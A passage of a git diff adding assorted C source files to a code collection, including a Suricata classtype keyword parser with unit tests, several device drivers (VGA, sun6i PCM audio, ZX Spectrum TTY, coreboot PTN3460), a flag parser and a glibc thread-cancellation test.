LICENSE file found in the top-level directory of this + * distribution and at http://akaros.cs.berkeley.edu/files/Plan9License. No + * part of the UCB release of Plan 9, including this file, may be copied, + * modified, propagated, or distributed except according to the terms contained + * in the LICENSE file. + */ + +#include +#include +#include +#include +#include "dat.h" +#include "protos.h" + +static int +p_seprint(Msg *m) +{ + Fcall f; + char *p; + + memset(&f, 0, sizeof(f)); + f.type = 0; + f.data = 0; /* protection for %F */ + if(convM2S(m->ps, m->pe-m->ps, &f)){ + p = m->p; + m->p = seprint(m->p, m->e, "%F", &f); + while(p < m->p){ + p = strchr(p, '\n'); + if(p == nil) + break; + *p = '\\'; + } + } else + dump.seprint(m); + m->pr = nil; + return 0; +} + +Proto ninep = +{ + "ninep", + nil, + nil, + p_seprint, + nil, + nil, + nil, + defaultframer, +}; diff --git a/pool/shard011/C/0141805_detect-classtype.c b/pool/shard011/C/0141805_detect-classtype.c new file mode 100644 index 0000000000000000000000000000000000000000..036a9c8c4123ad662ddc5a6de2f4ce1b792d8247 --- /dev/null +++ b/pool/shard011/C/0141805_detect-classtype.c @@ -0,0 +1,315 @@ +/* Copyright (C) 2007-2010 Open Information Security Foundation + * + * You can copy, redistribute or modify this Program under the terms of + * the GNU General Public License version 2 as published by the Free + * Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * version 2 along with this program; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA + * 02110-1301, USA. + */ + +/** + * \file + * + * \author Anoop Saldanha + * + * Implements classtype keyword. + */ + +#include "suricata-common.h" +#include "decode.h" + +#include "detect.h" +#include "detect-parse.h" +#include "detect-engine.h" +#include "detect-engine-mpm.h" +#include "detect-classtype.h" +#include "flow-var.h" +#include "util-classification-config.h" +#include "util-error.h" +#include "util-debug.h" +#include "util-unittest.h" + +#define PARSE_REGEX "^\\s*([a-zA-Z][a-zA-Z0-9-_]*)\\s*$" + +static pcre *regex = NULL; +static pcre_extra *regex_study = NULL; + +static int DetectClasstypeSetup(DetectEngineCtx *, Signature *, const char *); +static void DetectClasstypeRegisterTests(void); + +/** + * \brief Registers the handler functions for the "Classtype" keyword. + */ +void DetectClasstypeRegister(void) +{ + sigmatch_table[DETECT_CLASSTYPE].name = "classtype"; + sigmatch_table[DETECT_CLASSTYPE].desc = "information about the classification of rules and alerts"; + sigmatch_table[DETECT_CLASSTYPE].url = DOC_URL DOC_VERSION "/rules/meta.html#classtype"; + sigmatch_table[DETECT_CLASSTYPE].Match = NULL; + sigmatch_table[DETECT_CLASSTYPE].Setup = DetectClasstypeSetup; + sigmatch_table[DETECT_CLASSTYPE].Free = NULL; + sigmatch_table[DETECT_CLASSTYPE].RegisterTests = DetectClasstypeRegisterTests; + + DetectSetupParseRegexes(PARSE_REGEX, ®ex, ®ex_study); +} + +/** + * \brief Parses the raw string supplied with the "Classtype" keyword. + * + * \param Pointer to the string to be parsed. + * + * \retval bool success or failure. + */ +static int DetectClasstypeParseRawString(const char *rawstr, char *out, size_t outsize) +{ +#define MAX_SUBSTRINGS 30 + int ret = 0; + int ov[MAX_SUBSTRINGS]; + size_t len = strlen(rawstr); + + ret = pcre_exec(regex, regex_study, rawstr, len, 0, 0, ov, 30); + if (ret < 0) { + SCLogError(SC_ERR_PCRE_MATCH, "Invalid Classtype in Signature"); + goto end; + } + + ret = pcre_copy_substring((char *)rawstr, ov, 30, 1, out, outsize); + if (ret < 0) { + SCLogError(SC_ERR_PCRE_GET_SUBSTRING, "pcre_copy_substring failed"); + goto end; + } + + return 0; + end: + return -1; +} + +/** + * \brief The setup function that would be called when the Signature parsing + * module encounters the "Classtype" keyword. + * + * \param de_ctx Pointer to the Detection Engine Context. + * \param s Pointer the current Signature instance that is being parsed. + * \param rawstr Pointer to the argument supplied to the classtype keyword. + * + * \retval 0 On success + * \retval -1 On failure + */ +static int DetectClasstypeSetup(DetectEngineCtx *de_ctx, Signature *s, const char *rawstr) +{ + char parsed_ct_name[1024] = ""; + SCClassConfClasstype *ct = NULL; + + if (DetectClasstypeParseRawString(rawstr, parsed_ct_name, sizeof(parsed_ct_name)) < -1) { + SCLogError(SC_ERR_PCRE_PARSE, "Error parsing classtype argument supplied with the " + "classtype keyword"); + goto error; + } + + ct = SCClassConfGetClasstype(parsed_ct_name, de_ctx); + if (ct == NULL) { + SCLogError(SC_ERR_UNKNOWN_VALUE, "Unknown Classtype: \"%s\". Invalidating the Signature", + parsed_ct_name); + goto error; + } + + /* if we have retrieved the classtype, assign the message to be displayed + * for this Signature by fast.log, if a Packet matches this Signature */ + s->class = ct->classtype_id; + s->class_msg = ct->classtype_desc; + + /* if a priority keyword has appeared before the classtype, s->prio would + * hold a value which is != -1, in which case we don't overwrite the value. + * Otherwise, overwrite the value */ + if (s->prio == -1) + s->prio = ct->priority; + + return 0; + + error: + return -1; +} + +/*------------------------------Unittests-------------------------------------*/ + +#ifdef UNITTESTS + +/** + * \test Check that supplying an invalid classtype in the rule, results in the + * rule being invalidated. + */ +static int DetectClasstypeTest01(void) +{ + int result = 0; + + DetectEngineCtx *de_ctx = DetectEngineCtxInit(); + if (de_ctx == NULL) { + goto end; + } + + FILE *fd = SCClassConfGenerateValidDummyClassConfigFD01(); + SCClassConfLoadClassficationConfigFile(de_ctx, fd); + + de_ctx->sig_list = SigInit(de_ctx, "alert tcp any any -> any any " + "(msg:\"Classtype test\"; " + "Classtype:not_available; sid:1;)"); + if (de_ctx->sig_list == NULL) + result = 1; + + DetectEngineCtxFree(de_ctx); + +end: + return result; +} + +/** + * \test Check that both valid and invalid classtypes in a rule are handled + * properly, with rules containing invalid classtypes being rejected + * and the ones containing valid classtypes parsed and returned. + */ +static int DetectClasstypeTest02(void) +{ + int result = 0; + Signature *last = NULL; + Signature *sig = NULL; + + DetectEngineCtx *de_ctx = DetectEngineCtxInit(); + if (de_ctx == NULL) { + goto end; + } + + FILE *fd = SCClassConfGenerateValidDummyClassConfigFD01(); + SCClassConfLoadClassficationConfigFile(de_ctx, fd); + + sig = SigInit(de_ctx, "alert tcp any any -> any any " + "(msg:\"Classtype test\"; Classtype:bad-unknown; sid:1;)"); + if (sig == NULL) { + printf("first sig failed to parse: "); + result = 0; + goto end; + } + de_ctx->sig_list = last = sig; + result = (sig != NULL); + + sig = SigInit(de_ctx, "alert tcp any any -> any any " + "(msg:\"Classtype test\"; Classtype:not-there; sid:1;)"); + last->next = sig; + result &= (sig == NULL); + + sig = SigInit(de_ctx, "alert tcp any any -> any any " + "(msg:\"Classtype test\"; Classtype:Bad-UnkNown; sid:1;)"); + if (sig == NULL) { + printf("second sig failed to parse: "); + result = 0; + goto end; + } + last->next = sig; + last = sig; + result &= (sig != NULL); + + sig = SigInit(de_ctx, "alert tcp any any -> any any " + "(msg:\"Classtype test\"; Classtype:nothing-wrong; sid:1;)"); + if (sig == NULL) { + result = 0; + goto end; + } + last->next = sig; + last = sig; + result &= (sig != NULL); + + sig = SigInit(de_ctx, "alert tcp any any -> any any " + "(msg:\"Classtype test\"; Classtype:attempted_dos; sid:1;)"); + last->next = sig; + result &= (sig == NULL); + + SigCleanSignatures(de_ctx); + DetectEngineCtxFree(de_ctx); + +end: + return result; +} + +/** + * \test Check that the signatures are assigned priority based on classtype they + * are given. + */ +static int DetectClasstypeTest03(void) +{ + int result = 0; + Signature *last = NULL; + Signature *sig = NULL; + + DetectEngineCtx *de_ctx = DetectEngineCtxInit(); + if (de_ctx == NULL) { + goto end; + } + + FILE *fd = SCClassConfGenerateValidDummyClassConfigFD01(); + SCClassConfLoadClassficationConfigFile(de_ctx, fd); + + sig = SigInit(de_ctx, "alert tcp any any -> any any " + "(msg:\"Classtype test\"; Classtype:bad-unknown; priority:1; sid:1;)"); + if (sig == NULL) { + result = 0; + goto end; + } + de_ctx->sig_list = last = sig; + result = (sig != NULL); + result &= (sig->prio == 1); + + sig = SigInit(de_ctx, "alert tcp any any -> any any " + "(msg:\"Classtype test\"; Classtype:unKnoWn; " + "priority:3; sid:1;)"); + if (sig == NULL) { + result = 0; + goto end; + } + last->next = sig; + last = sig; + result &= (sig != NULL); + result &= (sig->prio == 3); + + sig = SigInit(de_ctx, "alert tcp any any -> any any (msg:\"Classtype test\"; " + "Classtype:nothing-wrong; priority:1; sid:1;)"); + if (sig == NULL) { + result = 0; + goto end; + } + last->next = sig; + last = sig; + result &= (sig != NULL); + result &= (sig->prio == 1); + + + SigCleanSignatures(de_ctx); + DetectEngineCtxFree(de_ctx); + +end: + return result; +} + +#endif /* UNITTESTS */ + +/** + * \brief This function registers unit tests for Classification Config API. + */ +static void DetectClasstypeRegisterTests(void) +{ + +#ifdef UNITTESTS + + UtRegisterTest("DetectClasstypeTest01", DetectClasstypeTest01); + UtRegisterTest("DetectClasstypeTest02", DetectClasstypeTest02); + UtRegisterTest("DetectClasstypeTest03", DetectClasstypeTest03); + +#endif /* UNITTESTS */ + +} diff --git a/pool/shard011/C/0141806_ft_flagger_parse_arg.c b/pool/shard011/C/0141806_ft_flagger_parse_arg.c new file mode 100644 index 0000000000000000000000000000000000000000..5e407a873b5a054dba2ef395064f0426abfd7d98 --- /dev/null +++ b/pool/shard011/C/0141806_ft_flagger_parse_arg.c @@ -0,0 +1,69 @@ +#include "ft_flagger_private.h" +#include "ft_printer.h" + +static t_flagopt *f_get_opt(t_flagger *f, char c, const char *name) +{ + size_t i; + t_flagopt *opt; + + i = 0; + while (i < f->flags->size) + { + opt = (t_flagopt *)f->flags->ptr[i]; + if (name && opt->name && !ft_strcmp(name, opt->name)) + return (opt); + if (c && opt->short_name == c) + return (opt); + ++i; + } + return (0); +} + +static t_bool f_parse_short(t_flagger *f, const char **av) +{ + size_t i; + t_flagopt *opt; + + i = 1; + while (av[f->cur_index][i]) + { + opt = f_get_opt(f, av[f->cur_index][i], 0); + if (!opt) + { + ft_printer_init(2)->add(av[0])->add(": illegal option -- "); + ft_printer()->addc(av[f->cur_index][i])->addc('\n')->flush(); + return (false); + } + else + opt->active = true; + ++i; + } + return (true); +} + +static t_bool f_parse_long(t_flagger *f, const char **av) +{ + t_flagopt *opt; + + opt = f_get_opt(f, 0, av[f->cur_index] + 2); + if (opt) + { + opt->active = true; + return (true); + } + return (false); +} + +t_bool ft_flagger_parse_arg(t_flagger *f, const char **av) +{ + const t_bool is_short = (av[f->cur_index][1] == '-') ? false : true; + + if (is_short) + return (f_parse_short(f, av)); + else + { + ft_printer_init(2)->add(av[0])->add(": illegal option -- "); + ft_printer()->add(av[f->cur_index] + 2)->addc('\n')->flush(); + return (f_parse_long(f, av)); + } +} \ No newline at end of file diff --git a/pool/shard011/C/0141807_single_window.c b/pool/shard011/C/0141807_single_window.c new file mode 100644 index 0000000000000000000000000000000000000000..91d334ed7390f79eada76d40bc4b59380b1e1222 --- /dev/null +++ b/pool/shard011/C/0141807_single_window.c @@ -0,0 +1,68 @@ +/** + * @file + * + * @author Dalian University of Technology + * + * @section LICENSE + * + * Copyright (C) 2010 Dalian University of Technology + * + * This file is part of EDUGUI. + * + * EDUGUI is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 2 of the License, or + * (at your option) any later version. + * + * EDUGUI is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with EDUGUI; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA + * 02110-1301, USA. + * + * All rights reserved. +**/ + +# include +# include +# include + +# include "application.h" + +/* + 测试 struct window +*/ +int main() +{ + si_t video_access_mode = VIDEO_ACCESS_MODE_BUFFER; + si_t app_type = APPLICATION_TYPE_NORMAL; + struct window * w = NULL; + + /* 初始化用户应用程序 */ + application_init(video_access_mode, app_type, "single_window"); + + w = window_init("single"); + /* 申请失败 */ + if(w == NULL) + { + application_exit(); + return -1; + } + window_set_bounds(w, 200, 400, 450, 200); + + + + /* 添加顶层窗口 */ + application_add_window(NULL, w); + /* 设置主窗口 */ + application_set_main_window(w); + + /* 运行 */ + application_exec(); + + return 0; +} diff --git a/pool/shard011/C/0141808_vga.c b/pool/shard011/C/0141808_vga.c new file mode 100644 index 0000000000000000000000000000000000000000..949e2b97c491399919052b1bafc76d66a0e80714 --- /dev/null +++ b/pool/shard011/C/0141808_vga.c @@ -0,0 +1,43 @@ +/* + * vga.c + * puzzleOS + * + * Created by Dmitry on 08.04.09. + * Copyright 2009 Dmitry Obukhov. All rights reserved. + * + */ + +#include "puzzle.h" +#include "vga.h" +#include "ioports.h" + +static uint16 frame_buffer_addr; + +void vga_init() { + frame_buffer_addr = (uint16)VGA_FRAME_BUFFER_START; +} + +void vga_set_frame_buffer_addr(uint32 addr) { + + frame_buffer_addr = (addr - VGA_FRAME_BUFFER_START) / 2; + + outportb(0x3D4, 12); + outportb(0x3D5, frame_buffer_addr >> 8); + outportb(0x3D4, 13); + outportb(0x3D5, frame_buffer_addr); +} + +void vga_set_cursor_pos(int x, int y) { + int pos; + + pos = y * VGA_SCREEN_COLS + x + frame_buffer_addr; + + outportb(0x3D4, 0xE); + outportb(0x3D5, pos >> 8); + outportb(0x3D4, 0xF); + outportb(0x3D5, pos & 0xFF); +} + +//void vga_write(int x, int y, char c, char attr) { +// *((uint32 *)frame_buffer_addr + y * VGA_SCREEN_ROWS + x) = (attr << 8) + c; +//} diff --git a/pool/shard011/C/0141809_sun6i-sndpcm.c b/pool/shard011/C/0141809_sun6i-sndpcm.c new file mode 100644 index 0000000000000000000000000000000000000000..7de68b536dd4dbbcc9d0deb5097f27db589c78c4 --- /dev/null +++ b/pool/shard011/C/0141809_sun6i-sndpcm.c @@ -0,0 +1,234 @@ +/* + * sound\soc\sun6i\pcm\sun6i_sndpcm.c + * (C) Copyright 2010-2016 + * Reuuimlla Technology Co., Ltd. + * huangxin + * + * some simple description for this code + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as + * published by the Free Software Foundation; either version 2 of + * the License, or (at your option) any later version. + * + */ + +#include +#include +#include + +#include +#include +#include +#include +#include +#include + +#include "sun6i-pcmdma.h" + +static bool i2s_pcm_select = 0; +static int pcm_used = 0; +static int pcm_master = 0; +static int audio_format = 0; +static int signal_inversion = 0; + +/* +* i2s_pcm_select == 0:--> pcm +* i2s_pcm_select == 1:--> i2s +*/ +static int sun6i_pcm_set_audio_mode(struct snd_kcontrol *kcontrol, + struct snd_ctl_elem_value *ucontrol) +{ + i2s_pcm_select = ucontrol->value.integer.value[0]; + if (i2s_pcm_select) { + pcm_master = 4; + audio_format = 1; + signal_inversion = 1; + } else { + pcm_master = 4; + audio_format = 4; + signal_inversion = 3; + } + + return 0; +} + +static int sun6i_pcm_get_audio_mode(struct snd_kcontrol *kcontrol, + struct snd_ctl_elem_value *ucontrol) +{ + ucontrol->value.integer.value[0] = i2s_pcm_select; + return 0; +} + +/* I2s Or Pcm Audio Mode Select */ +static const struct snd_kcontrol_new sun6i_pcm_controls[] = { + SOC_SINGLE_BOOL_EXT("I2s Or Pcm Audio Mode Select", 0, + sun6i_pcm_get_audio_mode, sun6i_pcm_set_audio_mode), +}; + +static int sun6i_sndpcm_hw_params(struct snd_pcm_substream *substream, + struct snd_pcm_hw_params *params) +{ + int ret = 0; + u32 freq = 22579200; + struct snd_soc_pcm_runtime *rtd = substream->private_data; + struct snd_soc_dai *codec_dai = rtd->codec_dai; + struct snd_soc_dai *cpu_dai = rtd->cpu_dai; + unsigned long sample_rate = params_rate(params); + + switch (sample_rate) { + case 8000: + case 16000: + case 32000: + case 64000: + case 128000: + case 12000: + case 24000: + case 48000: + case 96000: + case 192000: + freq = 24576000; + break; + } + + /*set system clock source freq*/ + ret = snd_soc_dai_set_sysclk(cpu_dai, 0 , freq, i2s_pcm_select); + if (ret < 0) { + return ret; + } + + ret = snd_soc_dai_set_fmt(codec_dai, SND_SOC_DAIFMT_DSP_A | + SND_SOC_DAIFMT_IB_NF | SND_SOC_DAIFMT_CBS_CFS); + if (ret < 0) + return ret; + /* + * codec clk & FRM master. AP as slave + */ + ret = snd_soc_dai_set_fmt(cpu_dai, (audio_format | (signal_inversion<<8) | (pcm_master<<12))); + if (ret < 0) { + return ret; + } + + ret = snd_soc_dai_set_clkdiv(cpu_dai, 0, sample_rate); + if (ret < 0) { + return ret; + } + + /* + * audio_format == SND_SOC_DAIFMT_DSP_A + * signal_inversion<<8 == SND_SOC_DAIFMT_IB_NF + * pcm_master<<12 == SND_SOC_DAIFMT_CBS_CFS + */ + PCM_DBG("%s,line:%d,audio_format:%d,SND_SOC_DAIFMT_DSP_A:%d\n",\ + __func__, __LINE__, audio_format, SND_SOC_DAIFMT_DSP_A); + PCM_DBG("%s,line:%d,signal_inversion:%d,signal_inversion<<8:%d,SND_SOC_DAIFMT_IB_NF:%d\n",\ + __func__, __LINE__, signal_inversion, signal_inversion<<8, SND_SOC_DAIFMT_IB_NF); + PCM_DBG("%s,line:%d,pcm_master:%d,pcm_master<<12:%d,SND_SOC_DAIFMT_CBS_CFS:%d\n",\ + __func__, __LINE__, pcm_master, pcm_master<<12, SND_SOC_DAIFMT_CBS_CFS); + + return 0; +} + +/* + * Card initialization + */ +static int sun6i_pcm_init(struct snd_soc_pcm_runtime *rtd) +{ + struct snd_soc_codec *codec = rtd->codec; + struct snd_soc_card *card = rtd->card; + int ret; + + /* Add virtual switch */ + ret = snd_soc_add_controls(codec, sun6i_pcm_controls, + ARRAY_SIZE(sun6i_pcm_controls)); + if (ret) { + dev_warn(card->dev, + "Failed to register audio mode control, " + "will continue without it.\n"); + } + return 0; +} + +static struct snd_soc_ops sun6i_sndpcm_ops = { + .hw_params = sun6i_sndpcm_hw_params, +}; + +static struct snd_soc_dai_link sun6i_sndpcm_dai_link = { + .name = "PCM", + .stream_name = "SUN6I-PCM", + .cpu_dai_name = "sun6i-pcm.0", + .codec_dai_name = "sndpcm", + .init = sun6i_pcm_init, + .platform_name = "sun6i-pcm-pcm-audio.0", + .codec_name = "sun6i-pcm-codec.0", + .ops = &sun6i_sndpcm_ops, +}; + +static struct snd_soc_card snd_soc_sun6i_sndpcm = { + .name = "sndpcm", + .owner = THIS_MODULE, + .dai_link = &sun6i_sndpcm_dai_link, + .num_links = 1, +}; + +static struct platform_device *sun6i_sndpcm_device; + +static int __init sun6i_sndpcm_init(void) +{ + int ret = 0; + script_item_u val; + script_item_value_type_e type; + + type = script_get_item("pcm_para", "pcm_used", &val); + if (SCIRPT_ITEM_VALUE_TYPE_INT != type) { + printk("[PCM] type err!\n"); + } + pcm_used = val.val; + + type = script_get_item("pcm_para", "pcm_master", &val); + if (SCIRPT_ITEM_VALUE_TYPE_INT != type) { + printk("[PCM] pcm_master type err!\n"); + } + pcm_master = val.val; + type = script_get_item("pcm_para", "audio_format", &val); + if (SCIRPT_ITEM_VALUE_TYPE_INT != type) { + printk("[PCM] audio_format type err!\n"); + } + audio_format = val.val; + + type = script_get_item("pcm_para", "signal_inversion", &val); + if (SCIRPT_ITEM_VALUE_TYPE_INT != type) { + printk("[PCM] signal_inversion type err!\n"); + } + signal_inversion = val.val; + if (pcm_used) { + sun6i_sndpcm_device = platform_device_alloc("soc-audio", 3); + if(!sun6i_sndpcm_device) + return -ENOMEM; + platform_set_drvdata(sun6i_sndpcm_device, &snd_soc_sun6i_sndpcm); + ret = platform_device_add(sun6i_sndpcm_device); + if (ret) { + platform_device_put(sun6i_sndpcm_device); + } + }else{ + printk("[PCM]sun6i_sndpcm cannot find any using configuration for controllers, return directly!\n"); + return 0; + } + + return ret; +} + +static void __exit sun6i_sndpcm_exit(void) +{ + if(pcm_used) { + pcm_used = 0; + platform_device_unregister(sun6i_sndpcm_device); + } +} + +module_init(sun6i_sndpcm_init); +module_exit(sun6i_sndpcm_exit); + +MODULE_AUTHOR("huangxin"); +MODULE_DESCRIPTION("SUN6I_sndpcm ALSA SoC audio driver"); +MODULE_LICENSE("GPL"); diff --git a/pool/shard011/C/0141810_zxtty.c b/pool/shard011/C/0141810_zxtty.c new file mode 100644 index 0000000000000000000000000000000000000000..f03468af01ac055bdc2e0b14b8a3b17d67ba1025 --- /dev/null +++ b/pool/shard011/C/0141810_zxtty.c @@ -0,0 +1,151 @@ +/* + * TTY driver for general ZX spectrum style systems + * + * Set CONFIG_GFXBASE if the video is directly mapped + * Set CONFIG_TIMEX if Timex modes are available + */ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +static char tbuf1[TTYSIZ]; + +uint8_t vtattr_cap = VTA_INVERSE|VTA_FLASH|VTA_UNDERLINE; +uint8_t vtborder; +uint8_t curattr = 7; + +tcflag_t termios_mask[NUM_DEV_TTY + 1] = { + 0, + _CSYS +}; + + +struct s_queue ttyinq[NUM_DEV_TTY + 1] = { /* ttyinq[0] is never used */ + {NULL, NULL, NULL, 0, 0, 0}, + {tbuf1, tbuf1, tbuf1, TTYSIZ, 0, TTYSIZ / 2}, +}; + +/* tty1 is the screen */ + +/* Output for the system console (kprintf etc) */ +void kputchar(char c) +{ + if (c == '\n') + tty_putc(0, '\r'); + tty_putc(0, c); +} + +/* Both console and debug port are always ready */ +ttyready_t tty_writeready(uint8_t minor) +{ + minor; + return TTY_READY_NOW; +} + +void tty_putc(uint8_t minor, unsigned char c) +{ + minor; + vtoutput(&c, 1); +} + +int tty_carrier(uint8_t minor) +{ + minor; + return 1; +} + +void tty_setup(uint8_t minor, uint8_t flags) +{ + minor; +} + +void tty_sleeping(uint8_t minor) +{ + minor; +} + +void tty_data_consumed(uint8_t minor) +{ +} + + +/* This is used by the vt asm code, but needs to live in the kernel */ +uint16_t cursorpos; + +#ifdef CONFIG_GFXBASE + +static struct display specdisplay = { + 0, + 256, 192, + 256, 192, + 0xFF, 0xFF, + FMT_SPECTRUM, + HW_UNACCEL, + GFX_VBLANK|GFX_MAPPABLE|GFX_TEXT, + 0 +}; + +static struct videomap specmap = { + 0, + 0, + CONFIG_GFXBASE, + 6912, + 0, + 0, + 0, + MAP_FBMEM|MAP_FBMEM_SIMPLE +}; + +/* + * Graphics ioctls. Very minimal for this platform. It's a single fixed + * mode with direct memory mapping. + */ +int gfx_ioctl(uint8_t minor, uarg_t arg, char *ptr) +{ + if (minor != 1 || arg >> 8 != 0x03) + return vt_ioctl(minor, arg, ptr); + switch(arg) { + case GFXIOC_GETINFO: + return uput(&specdisplay, ptr, sizeof(struct display)); + case GFXIOC_MAP: + return uput(&specmap, ptr, sizeof(struct videomap)); + case GFXIOC_UNMAP: + return 0; + case GFXIOC_WAITVB: + /* Our system clock is vblank */ + timer_wait++; + psleep(&timer_interrupt); + timer_wait--; + chksigs(); + if (udata.u_cursig) { + udata.u_error = EINTR; + return -1; + } + return 0; + } + return -1; +} +#endif + +void vtattr_notify(void) +{ + /* Attribute byte fixups: not hard as the colours map directly + to the spectrum ones */ + if (vtattr & VTA_INVERSE) + curattr = ((vtink & 7) << 3) | (vtpaper & 7); + else + curattr = (vtink & 7) | ((vtpaper & 7) << 3); + if (vtattr & VTA_FLASH) + curattr |= 0x80; + /* How to map the bright bit - we go by either */ + if ((vtink | vtpaper) & 0x10) + curattr |= 0x40; +} diff --git a/pool/shard011/C/0141811_tst-cancel.c b/pool/shard011/C/0141811_tst-cancel.c new file mode 100644 index 0000000000000000000000000000000000000000..59c6f1f511805499618f9d60312655214454c595 --- /dev/null +++ b/pool/shard011/C/0141811_tst-cancel.c @@ -0,0 +1,214 @@ +/* Tests for cancelation handling. */ + +#include +#include +#include +#include +#include +#include + +int fd; + +pthread_barrier_t bar; + + +#ifdef NOT_YET +static void +cleanup (void *arg) +{ + int nr = (int) (long int) arg; + char s[30]; + char *cp = stpcpy (s, "cleanup "); + *cp++ = '0' + nr; + *cp++ = '\n'; + __libc_lseek (fd, 0, SEEK_END); + __libc_write (fd, s, cp - s); +} + + +static void * +t1 (void *arg) +{ + pthread_cleanup_push (cleanup, (void *) (long int) 1); + return NULL; + pthread_cleanup_pop (0); +} + + +static void +inner (int a) +{ + pthread_cleanup_push (cleanup, (void *) (long int) a); + if (a) + return; + pthread_cleanup_pop (0); +} + + +static void * +t2 (void *arg) +{ + pthread_cleanup_push (cleanup, (void *) (long int) 2); + inner ((int) (long int) arg); + return NULL; + pthread_cleanup_pop (0); +} +#endif + +/* This does not work yet. */ +volatile int cleanupokcnt; + +static void +cleanupok (void *arg) +{ + ++cleanupokcnt; +} + +#ifdef NOT_YET +static void * +t3 (void *arg) +{ + pthread_cleanup_push (cleanupok, (void *) (long int) 4); + inner ((int) (long int) arg); + pthread_exit (NULL); + pthread_cleanup_pop (0); +} +#endif + +static void +innerok (int a) +{ + pthread_cleanup_push (cleanupok, (void *) (long int) a); + pthread_exit (NULL); + pthread_cleanup_pop (0); +} + + +static void * +t4 (void *arg) +{ + pthread_cleanup_push (cleanupok, (void *) (long int) 6); + innerok ((int) (long int) arg); + pthread_cleanup_pop (0); + return NULL; +} + + +int +main (int argc, char *argv[]) +{ + pthread_t td; + int err; + char *tmp; + const char *prefix; + const char template[] = "thtstXXXXXX"; + struct stat64 st; + int result = 0; + + prefix = argc > 1 ? argv[1] : ""; + tmp = (char *) alloca (strlen (prefix) + sizeof template); + strcpy (stpcpy (tmp, prefix), template); + + fd = mkstemp (tmp); + if (fd == -1) + { + printf ("cannot create temporary file: %m"); + exit (1); + } + unlink (tmp); + + err = pthread_barrier_init (&bar, NULL, 2); + if (err != 0 ) + { + printf ("cannot create barrier: %s\n", strerror (err)); + exit (1); + } + +#ifdef NOT_YET + err = pthread_create (&td, NULL, t1, NULL); + if (err != 0) + { + printf ("cannot create thread t1: %s\n", strerror (err)); + exit (1); + } + + err = pthread_join (td, NULL); + if (err != 0) + { + printf ("cannot join thread: %s\n", strerror (err)); + exit (1); + } + + err = pthread_create (&td, NULL, t2, (void *) 3); + if (err != 0) + { + printf ("cannot create thread t2: %s\n", strerror (err)); + exit (1); + } + + err = pthread_join (td, NULL); + if (err != 0) + { + printf ("cannot join thread: %s\n", strerror (err)); + exit (1); + } + + err = pthread_create (&td, NULL, t3, (void *) 5); + if (err != 0) + { + printf ("cannot create thread t3: %s\n", strerror (err)); + exit (1); + } + + err = pthread_join (td, NULL); + if (err != 0) + { + printf ("cannot join thread: %s\n", strerror (err)); + exit (1); + } +#endif + + err = pthread_create (&td, NULL, t4, (void *) 7); + if (err != 0) + { + printf ("cannot create thread t4: %s\n", strerror (err)); + exit (1); + } + + err = pthread_join (td, NULL); + if (err != 0) + { + printf ("cannot join thread: %s\n", strerror (err)); + exit (1); + } + + if (fstat64 (fd, &st) < 0) + { + printf ("cannot stat temporary file: %m\n"); + result = 1; + } + else if (st.st_size != 0) + { + char buf[512]; + puts ("some cleanup handlers ran:"); + fflush (stdout); + __lseek (fd, 0, SEEK_SET); + while (1) + { + ssize_t n = read (fd, buf, sizeof buf); + if (n <= 0) + break; + write (STDOUT_FILENO, buf, n); + } + result = 1; + } + + // if (cleanupokcnt != 3) will be three once t3 runs + if (cleanupokcnt != 2) + { + printf ("cleanupokcnt = %d\n", cleanupokcnt); + result = 1; + } + + return result; +} diff --git a/pool/shard011/C/0141812_ptn3460.c b/pool/shard011/C/0141812_ptn3460.c new file mode 100644 index 0000000000000000000000000000000000000000..d63c71cce881874cc5960155bdb1315b6d7e05cf --- /dev/null +++ b/pool/shard011/C/0141812_ptn3460.c @@ -0,0 +1,178 @@ +/* + * This file is part of the coreboot project. + * + * Copyright (C) 2014-2017 Siemens AG + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; version 2 of the License. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +#include +#include +#include +#include +#include +#include "ptn3460.h" + +/** + * This function sets up the DP2LVDS-converter to be used with the appropriate + * lcd panel. + * + * @param *hwi_block Filename in CBFS of the block to use as HW-Info. + * @return 0 on success or HWI-Data/PTN error code. + */ +int ptn3460_init(const char *hwi_block) +{ + struct ptn_3460_config cfg; + int status; + uint8_t disp_con = 0, color_depth = 0; + uint8_t edid_data[PTN_EDID_LEN]; + int i; + + if (!hwi_block || hwilib_find_blocks(hwi_block) != CB_SUCCESS) { + printk(BIOS_ERR, "LCD: Info block \"%s\" not found!\n", + hwi_block); + return 1; + } + /* Get all needed information from hwinfo block. */ + if (hwilib_get_field(Edid, edid_data, sizeof(edid_data)) != + sizeof(edid_data)) { + printk(BIOS_ERR, "LCD: No EDID data available in %s\n", + hwi_block); + return 1; + } + if ((hwilib_get_field(PF_DisplCon, &disp_con, sizeof(disp_con)) != + sizeof(disp_con))) { + printk(BIOS_ERR, "LCD: Missing panel features from %s\n", + hwi_block); + return 1; + } + if (hwilib_get_field(PF_Color_Depth, &color_depth, sizeof(color_depth)) + != sizeof(color_depth)) { + printk(BIOS_ERR, "LCD: Missing panel features from %s\n", + hwi_block); + return 1; + } + /* + * Here, all the desired information for setting up DP2LVDS converter + * is present. Inside the converter, table 6 will be used for the + * timings. + */ + status = ptn3460_write_edid(6, edid_data); + if (status) + return status; + /* Select this table to be emulated. */ + ptn_select_edid(6); + /* Read PTN configuration data. */ + status = i2c_read_bytes(PTN_I2C_CONTROLLER, PTN_SLAVE_ADR, + PTN_CONFIG_OFF, (uint8_t *)&cfg, + sizeof(cfg)); + if (status) + return (PTN_BUS_ERROR | status); + /* Set up configuration data according to the hwinfo block we get. */ + 